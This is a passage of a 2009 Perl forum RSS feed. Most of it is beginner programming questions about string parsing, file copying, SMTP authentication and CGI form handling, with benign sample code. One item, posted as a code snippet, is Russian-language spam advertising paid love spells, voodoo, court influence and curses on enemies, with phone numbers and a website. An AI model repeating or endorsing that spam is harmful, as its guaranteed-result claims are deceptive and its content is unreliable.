		<item>
			<title>joining more than 1 array</title>
			<link>http://www.daniweb.com/forums/thread231797.html</link>
			<pubDate>Wed, 21 Oct 2009 00:09:29 GMT</pubDate>
			<description><![CDATA[Helllo all, 
well I am trying to split a file on the basis of space first and then trying to join it with  "-" but i am not able to do it, can sumone please suggest what should I do in order to do it. 
I am attaching the required part of the whole code where I think the changes are required. It is...]]></description>
			<content:encoded><![CDATA[<div>Helllo all,<br />
well I am trying to split a file on the basis of space first and then trying to join it with  &quot;-&quot; but i am not able to do it, can sumone please suggest what should I do in order to do it.<br />
I am attaching the required part of the whole code where I think the changes are required. It is just that i have a list of dates like this 30 jun 2008 and i want to change it in this format 30-jun-2008. <br />
<br />
Thanks <br />
Aj<br />
 <pre style="margin:20px; line-height:13px">if ($lines =~m/Date/)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $lines=~s/\s+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  @aj2=split(/:/,$lines);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  push(@date,$aj2[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  my($dd,$mm,$yy) =&nbsp; &nbsp; (split(/\s/,$date[0]))[1,2,3];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  push(@date1,&quot;$dd&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  push(@month1, &quot;$mm&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  push(@year1,&quot;$yy&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp;  my($date2)= (join('-',@date1,@month1,@year1)); <br />
&nbsp; &nbsp; &nbsp;  print&quot;$date2&quot;;<br />
&nbsp;}</pre></div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>ajay_p5</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread231797.html</guid>
		</item>
		<item>
			<title>Warning: uninitialized value in concatenation (.) or string</title>
			<link>http://www.daniweb.com/forums/thread231490.html</link>
			<pubDate>Mon, 19 Oct 2009 21:32:09 GMT</pubDate>
			<description><![CDATA[Hi, 
Well I am getting this warning while running my script which is attached:Use of uninitialized value in concatenation (.) or string at aj.pl 
in this line : print OUTFILE"$address[$k]|" as when i remove this line I don't get any warnings: 
Can someone please tell me what is wrong with it:...]]></description>
			<content:encoded><![CDATA[<div>Hi,<br />
Well I am getting this warning while running my script which is attached:Use of uninitialized value in concatenation (.) or string at aj.pl<br />
in this line : print OUTFILE&quot;$address[$k]|&quot; as when i remove this line I don't get any warnings:<br />
Can someone please tell me what is wrong with it:<br />
Thanks<br />
Aj<br />
<br />
 <pre style="margin:20px; line-height:13px">Here is my code:<br />
<br />
#!/usr/bin/perl<br />
use warnings;<br />
use strict;<br />
<br />
&nbsp;my $input = 'try_file.txt';<br />
&nbsp;my $output = 'try_file_pipe.txt'; <br />
&nbsp;my $i=0;<br />
&nbsp;my $lines=&quot;&quot;;<br />
&nbsp;our(@aj1,@aj2,@aj3,@aj4,@aj5);<br />
&nbsp;my @id=();<br />
&nbsp;my @author= ();<br />
&nbsp;my @text=();<br />
&nbsp;my @address=(); <br />
&nbsp; open (INFILE, &quot;$input&quot;) or die &quot;Couldn't open $input for reading: $!\n&quot;;<br />
&nbsp; open (OUTFILE, &quot;&gt; $output&quot;) or die &quot;Couldn't open $output for writing: $!\n&quot;;<br />
<br />
&nbsp; my @file1 =&lt;INFILE&gt;;<br />
&nbsp; &nbsp; foreach $lines(@file1) <br />
&nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp;  chomp($lines);&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp;  if($lines =~m/ID:/)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  { <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $lines=~s/\s+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  @aj1=split(/:/,$lines);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  push(@id,$aj1[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; elsif ($lines =~m/Author/)<br />
&nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $lines=~s/\s+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  @aj4=split(/:/,$lines);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  push(@author,$aj4[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; elsif ($lines =~m/Address/)<br />
&nbsp; &nbsp; &nbsp; &nbsp;  {&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $lines=~s/\s+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  @aj5=split(/:/,$lines);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  push(@address,$aj5[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; elsif ($lines =~m/^\\/)<br />
&nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $i=$i+1;<br />
&nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  push(@text,&quot;$lines&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if ($i==1) <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $i=0;( #no warnings 'uninitialized'; #of course when I am using this I don't get any warnings, still I am curious to know what is wrong with it.)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print OUTFILE&quot;@id|&quot;;&nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  my $n = scalar @author;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  for($k=0;$k&lt;$n;$k++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$author[$k]|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$address[$k]|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print OUTFILE&quot;@text&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @id=();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @text=();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @address=();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @author=();<br />
&nbsp; &nbsp; }<br />
&nbsp;}<br />
close (INFILE);<br />
close(OUTFILE);<br />
exit;</pre></div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>ajay_p5</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread231490.html</guid>
		</item>
		<item>
			<title>Basic parsing problem...Help plz</title>
			<link>http://www.daniweb.com/forums/thread231443.html</link>
			<pubDate>Mon, 19 Oct 2009 17:13:55 GMT</pubDate>
			<description>I have a txt file as an input. 
It is a list which looks like this: 
 
A12345 
B153875 
C34893 
... 
... 
 
and I have a database file which looks like this:</description>
			<content:encoded><![CDATA[<div>I have a txt file as an input.<br />
It is a list which looks like this:<br />
<br />
<span style="color:Red">A12345<br />
B153875<br />
C34893<br />
...<br />
...</span><br />
<br />
and I have a database file which looks like this:<br />
<br />
<span style="color:Green">A12345 detail information<br />
nvonafwenfovosdncsjdnfoewhuwerhwieufhiudhfisdfnsd<br />
sdofnowerugfeuhgfurhgiuwerhfjdshfiasdhifheruwufhi<br />
irgfiweurgf<br />
<br />
A246 detail information<br />
isdofnowerugfeuhgfurhgiuwerhfjdshfiadhifheruwufhi<br />
wgerjgneiguihuhdnvkjdnvkjbdegiauberiubgieubgridfb<br />
ooogrngoawerngiauengugbuivrug<br />
<br />
B153875 detail information<br />
wgerjgneiguihuvkwwjddnvkegtiaugberijubgieubgridfb<br />
eragnowergnoweungfiousdhiuhsdnjkfnsk<br />
<br />
C34893 detail information<br />
fnweuraiwerbgivjbdbvurgfuwherugtheurhguhweriguhdg<br />
sdgnasoughiueghaiwuh<br />
<br />
...<br />
...<br />
...</span><br />
<br />
My goal now is to find all the names listed (A12345_XXX, B153875_XXX, C34893_XXX, ...etc) in the database and create an output file like this (containing the names and the contents):<br />
<br />
<span style="color:Red">A12345_XXX<br />
nvonafwenfovosdncsjdnfoewhuwerhwieufhiudhfisdfnsd<br />
sdofnowerugfeuhgfurhgiuwerhfjdshfiasdhifheruwufhi<br />
irgfiweurgf<br />
<br />
B153875_XXX<br />
wgerjgneiguihuvkwwjddnvkegtiaugberijubgieubgridfb<br />
eragnowergnoweungfiousdhiuhsdnjkfnsk<br />
<br />
C34893_XXX<br />
fnweuraiwerbgivjbdbvurgfuwherugtheurhguhweriguhdg<br />
sdgnasoughiueghaiwuh<br />
...<br />
...</span><br />
<br />
How should I approach this?<br />
(Fortunately, both the namelist and the database are in alphabetical order.)<br />
<br />
<br />
<br />
My code so far only cover the filehandle part, something like this:<br />
<br />
($v1, $v2, $v3) = @ARGV;<br />
//$v1 is the namelist file<br />
//$v2 is the database filename<br />
//$v3 is the desired output filename<br />
<br />
open (FILEHANDLE, $v1) || die;<br />
open (DATABASE, $v2) || die;<br />
open (RESULTS, &quot;&gt;$v2&quot;);<br />
<br />
......<br />
......<br />
......<br />
<br />
close (FILEHANDLE);<br />
close (DATABASE);<br />
close (RESULTS);<br />
exit;<br />
<br />
<br />
<br />
Request help!</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>jacquelinek</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread231443.html</guid>
		</item>
		<item>
			<title>Error sending Mail from Net::SMTP::SSL</title>
			<link>http://www.daniweb.com/forums/thread230444.html</link>
			<pubDate>Thu, 15 Oct 2009 16:41:13 GMT</pubDate>
			<description>Hello, 
 
I am trying to send e-mail using Perl and Net::SMTP::SSL.  However, I receive errors when running this script (example from documentation): 
 
 
#!/usr/bin/perl -w 
 
use Net::SMTP::SSL; 
 
sub send_mail {</description>
			<content:encoded><![CDATA[<div>Hello,<br />
<br />
I am trying to send e-mail using Perl and Net::SMTP::SSL.  However, I receive errors when running this script (example from documentation):<br />
<br />
 <pre style="margin:20px; line-height:13px">#!/usr/bin/perl -w<br />
<br />
use Net::SMTP::SSL;<br />
<br />
sub send_mail {<br />
my $to = $_&#91;0&#93;;<br />
my $subject = $_&#91;1&#93;;<br />
my $body = $_&#91;2&#93;;<br />
<br />
my $from = 'me@gmail.com';<br />
my $password = 'MySuperSecretPassword';<br />
<br />
my $smtp;<br />
<br />
if (not $smtp = Net::SMTP::SSL-&gt;new('smtp.gmail.com',<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Port =&gt; 465,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Debug =&gt; 1)) {<br />
&nbsp;  die &quot;Could not connect to server\n&quot;;<br />
}<br />
<br />
$smtp-&gt;auth($from, $password)<br />
&nbsp;  || die &quot;Authentication failed!\n&quot;;<br />
<br />
$smtp-&gt;mail($from . &quot;\n&quot;);<br />
my @recepients = split(/,/, $to);<br />
foreach my $recp (@recepients) {<br />
&nbsp; &nbsp; $smtp-&gt;to($recp . &quot;\n&quot;);<br />
}<br />
$smtp-&gt;data();<br />
$smtp-&gt;datasend(&quot;From: &quot; . $from . &quot;\n&quot;);<br />
$smtp-&gt;datasend(&quot;To: &quot; . $to . &quot;\n&quot;);<br />
$smtp-&gt;datasend(&quot;Subject: &quot; . $subject . &quot;\n&quot;);<br />
$smtp-&gt;datasend(&quot;\n&quot;);<br />
$smtp-&gt;datasend($body . &quot;\n&quot;);<br />
$smtp-&gt;dataend();<br />
$smtp-&gt;quit;<br />
}<br />
<br />
# Send away!<br />
&amp;send_mail('name@example.com', 'Server just blew up', 'Some more detail');</pre><br />
Naturally, I change the value of from, to, and password to be their correct values when I run the script.<br />
<br />
However, I receive errors like this:<br />
<br />
 <pre style="margin:20px; line-height:13px">Net::SMTP::SSL&gt;&gt;&gt; Net::SMTP::SSL(1.01)<br />
Net::SMTP::SSL&gt;&gt;&gt;&nbsp;  IO::Socket::SSL(1.30)<br />
Net::SMTP::SSL&gt;&gt;&gt;&nbsp; &nbsp;  IO::Socket::INET(1.31)<br />
Net::SMTP::SSL&gt;&gt;&gt;&nbsp; &nbsp; &nbsp;  IO::Socket(1.30_01)<br />
Net::SMTP::SSL&gt;&gt;&gt;&nbsp; &nbsp; &nbsp; &nbsp;  IO::Handle(1.27)<br />
Net::SMTP::SSL&gt;&gt;&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Exporter(5.62)<br />
Net::SMTP::SSL&gt;&gt;&gt;&nbsp;  Net::Cmd(2.29)<br />
Net::SMTP::SSL=GLOB(0x2065958)&lt;&lt;&lt; 220 mx.google.com ESMTP y6sm320414mug.40<br />
Net::SMTP::SSL=GLOB(0x2065958)&gt;&gt;&gt; EHLO localhost.localdomain<br />
Net::SMTP::SSL=GLOB(0x2065958)&lt;&lt;&lt; 250-mx.google.com at your service, [128.113.81.58]<br />
Net::SMTP::SSL=GLOB(0x2065958)&lt;&lt;&lt; 250-SIZE 35651584<br />
Net::SMTP::SSL=GLOB(0x2065958)&lt;&lt;&lt; 250-8BITMIME<br />
Net::SMTP::SSL=GLOB(0x2065958)&lt;&lt;&lt; 250-AUTH LOGIN PLAIN<br />
Net::SMTP::SSL=GLOB(0x2065958)&lt;&lt;&lt; 250-ENHANCEDSTATUSCODES<br />
Net::SMTP::SSL=GLOB(0x2065958)&lt;&lt;&lt; 250 PIPELINING<br />
Authentication failed!</pre><br />
And yes, I am certain that all the values I am using are valid.<br />
<br />
Any thoughts about this?</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>ItecKid</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread230444.html</guid>
		</item>
		<item>
			<title>Parsing of information in perl</title>
			<link>http://www.daniweb.com/forums/thread230372.html</link>
			<pubDate>Thu, 15 Oct 2009 11:18:00 GMT</pubDate>
			<description><![CDATA[Hi, 
 
I have strings like this: 
 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680" class="thickbox" title="Help with Code Tags" target="_blank">Help with Code Tags</a> </div>...]]></description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
I have strings like this:<br />
<br />
 <pre style="margin:20px; line-height:13px">$string=&quot;OWN - NLM STAT- Publisher DA - 20091005&nbsp; AU - Gannon AM AU - Turner EC AU - Reid HM AU - Kinsella BT&nbsp; AU- XYZ AD - UCD School of Biomolecular and Biomedical Sciences&quot;;</pre><br />
I want to parse these tags and create an hash for this string.<br />
<br />
The output should be like this:<br />
<br />
 <pre style="margin:20px; line-height:13px">OWN- NLM<br />
STAT- Publisher <br />
DA - 20091005<br />
AU- Gannon AM Turner EC Kinsella BT XYZ<br />
AD - UCD School of Biomolecular and Biomedical Sciences</pre><br />
I tried paring using regular expression but some times the format might be different.<br />
<br />
 <pre style="margin:20px; line-height:13px">$srting=~/OWN-(.*)AU(.*)/g;</pre><br />
How to parse all information and create hash?<br />
<br />
Regards<br />
Vandita</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>Vandithar</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread230372.html</guid>
		</item>
		<item>
			<title>Bizarre Post problem</title>
			<link>http://www.daniweb.com/forums/thread230171.html</link>
			<pubDate>Wed, 14 Oct 2009 17:44:36 GMT</pubDate>
			<description>This is actually a CGI issue I am having but Perl seems to be the closest forum here. 
 
I am having a very simple (hence very frustrating) problem with a CGI/Perl script. For some reason if I pas things from a checkbox they all get passed fine but the last item is passed twice. I have excised a...</description>
			<content:encoded><![CDATA[<div>This is actually a CGI issue I am having but Perl seems to be the closest forum here.<br />
<br />
I am having a very simple (hence very frustrating) problem with a CGI/Perl script. For some reason if I pas things from a checkbox they all get passed fine but the last item is passed twice. I have excised a paired down script with the html and perl components. I am at wit's end with this. Please someone tell me what is going on.<br />
<br />
From fill_pg.html:<br />
 <pre style="margin:20px; line-height:13px">&lt;HEAD&gt;<br />
&lt;TITLE&gt;Fill pg&lt;/TITLE&gt;<br />
&lt;link rel = &quot;stylesheet&quot; type = &quot;text/css&quot; href = &quot;utr.css&quot;/&gt;<br />
&lt;/HEAD&gt;<br />
&lt;BODY BGCOLOR=white&gt;<br />
<br />
&lt;FORM NAME=fill_pg ACTION=&quot;http://10.0.0.139/cgi-bin/fill_pg.pl&quot; METHOD=&quot;post&quot;&gt;<br />
<br />
&lt;h1&gt;Please select the plants to search&lt;br&gt;&lt;/h1&gt;&lt;br&gt;<br />
<br />
&lt;input type=checkbox name=access value=AJ400848&gt;Spinacia oleracea<br />
&lt;input type=checkbox name=access value=DQ020642&gt;Antirrhinum majus<br />
&lt;input type=checkbox name=access value=AJ506156&gt;Amborella trichopoda<br />
&lt;input type=checkbox name=access value=AP000423&gt;Arabidopsis thaliana&lt;br&gt;<br />
&lt;input type=checkbox name=access value=AP009369&gt;Arabis hirsuta<br />
&lt;input type=checkbox name=access value=AM711640&gt;Cuscuta reflexa<br />
&lt;input type=checkbox name=access value=AJ316582&gt;Atropa belladona<br />
&lt;input type=checkbox name=access value=AP009370&gt;Barbarea verna&lt;br&gt;<br />
<br />
&lt;h1&gt;Please select the gene you are looking for:&lt;/h1&gt;<br />
&lt;select name=gene&gt; <br />
&nbsp;  &lt;option&gt; petD<br />
&nbsp;  &lt;option&gt; petB<br />
&nbsp;  &lt;option&gt; rpoA<br />
&lt;/select&gt;<br />
<br />
&lt;CENTER&gt;<br />
&lt;INPUT TYPE=&quot;submit&quot; VALUE=&quot;SUBMIT&quot;&gt;<br />
&lt;/CENTER&gt;<br />
&lt;/FORM&gt;<br />
&lt;/BODY&gt;</pre><br />
Now the Perl script:<br />
 <pre style="margin:20px; line-height:13px">#!/usr/bin/perl<br />
<br />
print &quot;Content-type: text/html\n\n&quot;;<br />
$forminfo = &lt;STDIN&gt;;<br />
<br />
@key_value_pairs = split(/&amp;/,$forminfo); <br />
foreach $pair (@key_value_pairs){<br />
&nbsp; &nbsp; ($key,$value) = split(/=/,$pair);<br />
&nbsp; &nbsp; $value =~ s/\+/ /g; <br />
&nbsp; &nbsp; $value =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack(&quot;C&quot;, hex($1))/eg;<br />
&nbsp; &nbsp; $FORM_DATA{$key} = $value;<br />
print $FORM_DATA{'access'};<br />
print&quot;&lt;br&gt;&quot;;<br />
<br />
print $FORM_DATA{'gene'}; <br />
<br />
}</pre><br />
If I choose, say, the checkboxes corresponding to, say, AJ400848<br />
and AJ316582 and the pulldown list item, say, petD .... this is what I get:<br />
<span style="font-weight:bold">AJ400848<br />
AJ316582<br />
AJ316582<br />
petD</span><br />
<br />
How do I make it stop doing this? Please help.<br />
<br />
AJB</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>horakova</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread230171.html</guid>
		</item>
		<item>
			<title>execute ksh script in perl</title>
			<link>http://www.daniweb.com/forums/thread229641.html</link>
			<pubDate>Mon, 12 Oct 2009 22:13:50 GMT</pubDate>
			<description>I am migrating scripts from UNIX server to a Linux. In the perl script it calls rcp to transfer files. It worked ok in UNIX but not in Linux, which has scp, I dont want to do scp now as this is a temporary Linux Box I am using. 
 I wrote an ftp script to do the work which rcp was doing in UNIX so...</description>
			<content:encoded><![CDATA[<div>I am migrating scripts from UNIX server to a Linux. In the perl script it calls rcp to transfer files. It worked ok in UNIX but not in Linux, which has scp, I dont want to do scp now as this is a temporary Linux Box I am using.<br />
 I wrote an ftp script to do the work which rcp was doing in UNIX so it would work in Linux. Testing the stand alone ftp works ok, call it within the perl script and it doesn't work<br />
<br />
I have tried <br />
system(&quot;ftpscript&quot;;<br />
exec(&quot;./ftpscript&quot;);<br />
system(&quot;./ftpscript&quot;;<br />
<br />
ok whats another way to call a shell script within perl. I dont get any error messages. Destination directory does not contain any files.</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>axn</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread229641.html</guid>
		</item>
		<item>
			<title>copying a .exe file from one directory to another directory</title>
			<link>http://www.daniweb.com/forums/thread229570.html</link>
			<pubDate>Mon, 12 Oct 2009 15:18:24 GMT</pubDate>
			<description><![CDATA[Hi all ! 
Can anybody tell me why the following code is not copying the file from source to destination? 
 
Thakns in advance........ 
 
use File::Copy;  
my $source="C:\\shared\\8.4.1\\DXSI"; 
my $dest="C:\\r45"; 
my @files; 
my $file;]]></description>
			<content:encoded><![CDATA[<div>Hi all !<br />
Can anybody tell me why the following code is not copying the file from source to destination?<br />
<br />
Thakns in advance........<br />
<br />
use File::Copy; <br />
my $source=&quot;C:\\shared\\8.4.1\\DXSI&quot;;<br />
my $dest=&quot;C:\\r45&quot;;<br />
my @files;<br />
my $file;<br />
opendir(DIR, $source) or die &quot;can't opendir $source: $! \n&quot;; <br />
@files=readdir(DIR); <br />
<br />
close DIR; <br />
foreach $file(@files)<br />
{<br />
	print &quot;\n $file&quot;;<br />
	if($file ne &quot;.&quot; || $file ne &quot;..&quot;)<br />
	{<br />
if (-f &quot;$source$file&quot;)<br />
 {<br />
	 chomp($file);<br />
	 print &quot;\n copying....&quot;;<br />
	 copy($source, $dest) or die &quot;Copy Failed: &quot;; <br />
 }<br />
}<br />
}</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>rdevi</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread229570.html</guid>
		</item>
		<item>
			<title>Code Snippet Последняя возможность для вас.</title>
			<link>http://www.daniweb.com/code/snippet229070.html</link>
			<pubDate>Sat, 10 Oct 2009 09:15:29 GMT</pubDate>
			<description>Восстановление и естественная гармонизация отношений без вреда, результат в день обращения (авторский метод И.Н.Германа). Результат гарантирован в самых сложных случаях, где не смогли помочь другие специалисты. 
Привязка любимого человека, сексуальная и эмоциональная (авторский метод И.Н.Германа)....</description>
			<content:encoded><![CDATA[<div>Восстановление и естественная гармонизация отношений без вреда, результат в день обращения (авторский метод И.Н.Германа). Результат гарантирован в самых сложных случаях, где не смогли помочь другие специалисты.<br />
Привязка любимого человека, сексуальная и эмоциональная (авторский метод И.Н.Германа).<br />
Установка барьера на нежелательные отношения с человеком без его ведома, развал отношений с соперниками.<br />
Классический приворот с помощью черной и белой магии.<br />
ВЫХОД ИЗ КРИЗИСА: максимальный подъем бизнеса и карьеры.<br />
Воздействие на поведение человека на расстоянии (авторский метод И.Н.Германа).<br />
Инвольтированный приворот (авторский метод И.Н.Германа).<br />
Авторский мощнейший приворот за 1 день.<br />
Полное снятие зависимости одного человека от другого и установка барьера на отношения.<br />
Работа методом ВУДУ и зомбирования (приворот Вуду и приворот на крови).<br />
Влияние на ситуацию (корректировка хода дел в суде, помощь заключенному).<br />
Воздействие на ход сделки (влияние на поведение деловых партнеров).<br />
Оказание любых негативных воздействий на недоброжелателей.<br />
Установка абсолютной зеркальной защиты от любых воздействий (авторский метод И.Н.Германа).<br />
Полное избавление от негативных воздействий на Вас и Ваших близких (снятие порчи, сглаза и родовых проклятий).<br />
Снятие алкогольной и наркотической зависимости без вреда для здоровья.<br />
Установка 100% кода на удачу в бизнесе и деньгах (авторский метод И.Н.Германа).<br />
    <br />
Информация по т.(495) 510-92-02, 740-28-20, 649-41-44<br />
Официальный сайт центра Ильи Германа <a rel="nofollow" class="t" href="http://igerman.ru" target="_blank">http://igerman.ru</a></div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>Woumpefsfoepe</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread229070.html</guid>
		</item>
		<item>
			<title><![CDATA[Perl: how to replace character '/' with '\']]></title>
			<link>http://www.daniweb.com/forums/thread228903.html</link>
			<pubDate>Fri, 09 Oct 2009 15:19:11 GMT</pubDate>
			<description>I am new to perl. 
In a string How do I replace a backward slash with a forward slash? 
when I call the following perl api $FindBin::Bin; I get the path  as follows 
$myPath = c:/perl/test 
I would like to covert this to 
c:\perl\test 
I did try the following and get errors 
#$myPath=~ tr/\//\/c;</description>
			<content:encoded><![CDATA[<div>I am new to perl.<br />
In a string How do I replace a backward slash with a forward slash?<br />
when I call the following perl api $FindBin::Bin; I get the path  as follows<br />
$myPath = c:/perl/test<br />
I would like to covert this to<br />
c:\perl\test<br />
I did try the following and get errors<br />
#$myPath=~ tr/\//\/c;</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>alan_123</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread228903.html</guid>
		</item>
		<item>
			<title>How to copy a directory?</title>
			<link>http://www.daniweb.com/forums/thread228237.html</link>
			<pubDate>Wed, 07 Oct 2009 06:49:35 GMT</pubDate>
			<description>Hi all, 
 
Can anybody tell me, how to coy a directory along with its contents from remote machine to my local location? Both the machines are windows only. 
 
Thanks in advance.</description>
			<content:encoded><![CDATA[<div>Hi all,<br />
<br />
Can anybody tell me, how to coy a directory along with its contents from remote machine to my local location? Both the machines are windows only.<br />
<br />
Thanks in advance.</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>rdevi</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread228237.html</guid>
		</item>
		<item>
			<title>passing a path variable to system()</title>
			<link>http://www.daniweb.com/forums/thread227954.html</link>
			<pubDate>Tue, 06 Oct 2009 04:17:55 GMT</pubDate>
			<description><![CDATA[Hi all, 
 
I am new to Perl. I am trying to send a variable which contains the location of my executable (eg: C:\temp) to system function. i initialized the variable as, 
my var1="C:\\temp"; 
when i print this line i got : C:\temp  as o/p. 
To start the executable i did:...]]></description>
			<content:encoded><![CDATA[<div>Hi all,<br />
<br />
I am new to Perl. I am trying to send a variable which contains the location of my executable (eg: C:\temp) to system function. i initialized the variable as,<br />
my var1=&quot;C:\\temp&quot;;<br />
when i print this line i got : C:\temp  as o/p.<br />
To start the executable i did:<br />
system(&quot;$var1//executable.exe&quot;);<br />
I thought, var1 is replaced with C:\temp, but not with C:\\temp<br />
If i don't provide C:\\temp\\executable.exe to system(), the execution is not started. <br />
I want to send a variable with two slashes to system function. Help me here. Or suggest me any work around</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>rdevi</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread227954.html</guid>
		</item>
		<item>
			<title>perl for database parsing...please help</title>
			<link>http://www.daniweb.com/forums/thread227673.html</link>
			<pubDate>Mon, 05 Oct 2009 03:02:05 GMT</pubDate>
			<description>A protein entry on swissprot database be something like this: 
 
ID   ATF6A_HUMAN 
AC   P18850; O15139; Q5VW62; Q6IPB5; Q9UEC9; 
DT   01-NOV-1990, integrated into UniProtKB/Swiss-Prot. 
DE   AltName: Full=Activating transcription factor 6 alpha; 
DE            Short=ATF6-alpha; 
OS   Homo sapiens...</description>
			<content:encoded><![CDATA[<div>A protein entry on swissprot database be something like this:<br />
<br />
ID   ATF6A_HUMAN<br />
AC   P18850; O15139; Q5VW62; Q6IPB5; Q9UEC9;<br />
DT   01-NOV-1990, integrated into UniProtKB/Swiss-Prot.<br />
DE   AltName: Full=Activating transcription factor 6 alpha;<br />
DE            Short=ATF6-alpha;<br />
OS   Homo sapiens (Human).<br />
RN   [10]<br />
RP   REVIEW.<br />
RX   MEDLINE=21376119; PubMed=11483355; DOI=10.1016/S0378-1119(01)00551-0;<br />
RA   Hai T., Hartman M.G.;<br />
RT   &quot;The molecular biology and nomenclature of the activating<br />
